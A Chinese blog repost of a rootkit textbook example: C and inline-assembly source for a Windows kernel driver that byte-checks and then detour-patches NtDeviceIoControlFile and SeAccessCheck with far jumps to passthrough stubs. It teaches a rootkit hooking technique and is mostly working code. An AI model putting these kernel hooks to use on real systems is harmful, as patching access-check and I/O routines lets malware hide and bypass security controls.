x86 内核函数detour补丁

来源:互联网 发布:手机淘宝查看卖家信誉 编辑:程序博客网 时间:2024/06/05 16:52

本文和代码来自rootkit——windows内核的安全防护

下面展示一个rootkit示例,可以解释对内核函数的detour补丁

 

 1 #include "ntddk.h" 2  3 NTSYSAPI 4 NTSTATUS 5 NTAPI 6 NtDeviceIoControlFile( 7     IN HANDLE hFile, 8     IN HANDLE hEvent OPTIONAL, 9     IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,10     IN PVOID IoApcContext OPTIONAL,11     OUT PIO_STATUS_BLOCK pIoStatusBlock,12     IN ULONG DeviceIoControlCode,13     IN PVOID InBuffer OPTIONAL,14     IN ULONG InBufferLength,15     OUT PVOID OutBuffer OPTIONAL,16     IN ULONG OutBufferLength17 );18 19 NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING theRegistryPath )20 {21     DbgPrint("My Driver Loaded!");22     23     // TODO!! theDriverObject->DriverUnload = OnUnload;24 25     if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile())26     {27         DbgPrint("Match Failure on NtDeviceIoControlFile!");28         return STATUS_UNSUCCESSFUL;29     }30 31     if(STATUS_SUCCESS != CheckFunctionBytesSeAccessCheck())32     {33         DbgPrint("Match Failure on SeAccessCheck!");34         return STATUS_UNSUCCESSFUL;35     }36     37     DetourFunctionNtDeviceIoControlFile();38     DetourFunctionSeAccessCheck();39 40     return STATUS_SUCCESS;41 }

检查NtDeviceIoControlFile是否已经被detour了

 1 NTSTATUS CheckFunctionBytesNtDeviceIoControlFile() 2 { 3     int i=0; 4     char *p = (char *)NtDeviceIoControlFile; 5  6     //The beginning of the NtDeviceIoControlFile function 7     //should match:  8     //55        PUSH EBP 9     //8BEC        MOV    EBP, ESP10     //6A01        PUSH 0111     //FF752C    PUSH DWORD PTR [EBP + 2C]12     13     char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C };14 15     while(i<8)16     {17         DbgPrint(" - 0x%02X ", (unsigned char)p[i]);18         if(p[i] != c[i])19         {20             return STATUS_UNSUCCESSFUL; 21         }22         i++;23     }24     return STATUS_SUCCESS;25 }

 

这个也同理

 1 NTSTATUS CheckFunctionBytesSeAccessCheck() 2 { 3     int i=0; 4     char *p = (char *)SeAccessCheck; 5  6     //The beginning of the SeAccessCheck function 7     //should match:  8     //55        PUSH EBP 9     //8BEC        MOV    EBP, ESP10     //53        PUSH EBX11     //33DB        XOR EBX, EBX12     //385D24    CMP [EBP+24], BL13     char c[] = { 0x55, 0x8B, 0xEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 };14 15     while(i<9)16     {17         DbgPrint(" - 0x%02X ", (unsigned char)p[i]);18         if(p[i] != c[i])19         {20             return STATUS_UNSUCCESSFUL; 21         }22         i++;23     }24     return STATUS_SUCCESS;25 }

 

  1 VOID DetourFunctionSeAccessCheck()  2 {  3     char *actual_function = (char *)SeAccessCheck;  4     char *non_paged_memory;  5     unsigned long detour_address;  6     unsigned long reentry_address;  7     int i = 0;  8   9     // assembles to jmp far 0008:11223344 where 11223344 is address of 10     // our detour function, plus two NOP's to align up the patch 11     char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90 }; 12  13     // reenter the hooked function at a location past the overwritten opcodes 14     // alignment is, of course, very important here 15     reentry_address = ((unsigned long)SeAccessCheck) + 9;  16  17     non_paged_memory = ExAllocatePool(NonPagedPool, 256); 18      19     // copy contents of our function into non paged memory 20     // with a cap at 256 bytes (beware of possible read off end of page FIXME) 21     for(i=0;i<256;i++) 22     { 23         ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_seaccesscheck)[i]; 24     } 25  26     detour_address = (unsigned long)non_paged_memory; 27      28     // stamp in the target address of the far jmp 29     *( (unsigned long *)(&newcode[1]) ) = detour_address; 30  31     // now, stamp in the return jmp into our detour 32     // function 33     for(i=0;i<200;i++) 34     { 35         if( (0xAA == ((unsigned char *)non_paged_memory)[i]) && 36             (0xAA == ((unsigned char *)non_paged_memory)[i+1]) && 37             (0xAA == ((unsigned char *)non_paged_memory)[i+2]) && 38             (0xAA == ((unsigned char *)non_paged_memory)[i+3])) 39         { 40             // we found the address 0xAAAAAAAA 41             // stamp it w/ the correct address 42             *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address; 43             break; 44         } 45     } 46  47     //TODO, raise IRQL 48  49     //overwrite the bytes in the kernel function 50     //to apply the detour jmp 51     for(i=0;i < 9;i++) 52     { 53         actual_function[i] = newcode[i]; 54     } 55  56     //TODO, drop IRQL 57 } 58  59 VOID DetourFunctionNtDeviceIoControlFile() 60 { 61     char *actual_function = (char *)NtDeviceIoControlFile; 62     char *non_paged_memory; 63     unsigned long detour_address; 64     unsigned long reentry_address; 65     int i = 0; 66  67     // assembles to jmp far 0008:11223344 where 11223344 is address of 68     // our detour function, plus one NOP to align up the patch 69     char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 }; 70  71     // reenter the hooked function at a location past the overwritten opcodes 72     // alignment is, of course, very important here 73     reentry_address = ((unsigned long)NtDeviceIoControlFile) + 8;  74  75     non_paged_memory = ExAllocatePool(NonPagedPool, 256); 76      77     // copy contents of our function into non paged memory 78     // with a cap at 256 bytes (beware of possible read off end of page FIXME) 79     for(i=0;i<256;i++) 80     { 81         ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]; 82     } 83  84     detour_address = (unsigned long)non_paged_memory; 85      86     // stamp in the target address of the far jmp 87     *( (unsigned long *)(&newcode[1]) ) = detour_address; 88  89     // now, stamp in the return jmp into our detour 90     // function 91     for(i=0;i<200;i++) 92     { 93         if( (0xAA == ((unsigned char *)non_paged_memory)[i]) && 94             (0xAA == ((unsigned char *)non_paged_memory)[i+1]) && 95             (0xAA == ((unsigned char *)non_paged_memory)[i+2]) && 96             (0xAA == ((unsigned char *)non_paged_memory)[i+3])) 97         { 98             // we found the address 0xAAAAAAAA 99             // stamp it w/ the correct address100             *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address;101             break;102         }103     }104 105     //TODO, raise IRQL106 107     //overwrite the bytes in the kernel function108     //to apply the detour jmp109     for(i=0;i < 8;i++)110     {111         actual_function[i] = newcode[i];112     }113 114     //TODO, drop IRQL115 }116 117 VOID UnDetourFunction()118 {119     //TODO!120 }121 122 VOID OnUnload( IN PDRIVER_OBJECT DriverObject )123 {124     DbgPrint("My Driver Unloaded!");125 126     UnDetourFunction();127 }
使用(naked)是强制编译器使该函数体内部只有这些指令 
 1 // naked functions have no prolog/epilog code - they are functionally like the  2 // target of a goto statement 3 __declspec(naked) my_function_detour_seaccesscheck() 4 { 5     __asm 6     {         7         // exec missing instructions 8         push    ebp 9         mov        ebp, esp10         push    ebx11         xor        ebx, ebx12         cmp        [ebp+24], bl13 14         // jump to re-entry location in hooked function15         // this gets 'stamped' with the correct address16         // at runtime.17         //18         // we need to hard-code a far jmp, but the assembler19         // that comes with the DDK will not poop this out20         // for us, so we code it manually21         // jmp FAR 0x08:0xAAAAAAAA22         _emit 0xEA23         _emit 0xAA24         _emit 0xAA25         _emit 0xAA26         _emit 0xAA27         _emit 0x0828         _emit 0x0029     }30 }31 32 // We read this function into non-paged memory33 // before we place the detour.  It seems that the34 // driver code gets paged now and then, which is bad35 // for children and other living things.36 __declspec(naked) my_function_detour_ntdeviceiocontrolfile()37 {38     __asm39     {        40         // exec missing instructions41         push    ebp42         mov        ebp, esp43         push    0x0144         push    dword ptr [ebp+0x2C]45 46         // jump to re-entry location in hooked function47         // this gets 'stamped' with the correct address48         // at runtime.49         //50         // we need to hard-code a far jmp, but the assembler51         // that comes with the DDK will not poop this out52         // for us, so we code it manually53         // jmp FAR 0x08:0xAAAAAAAA54         _emit 0xEA55         _emit 0xAA56         _emit 0xAA57         _emit 0xAA58         _emit 0xAA59         _emit 0x0860         _emit 0x0061     }62 }

 

 

0 0
原创粉丝点击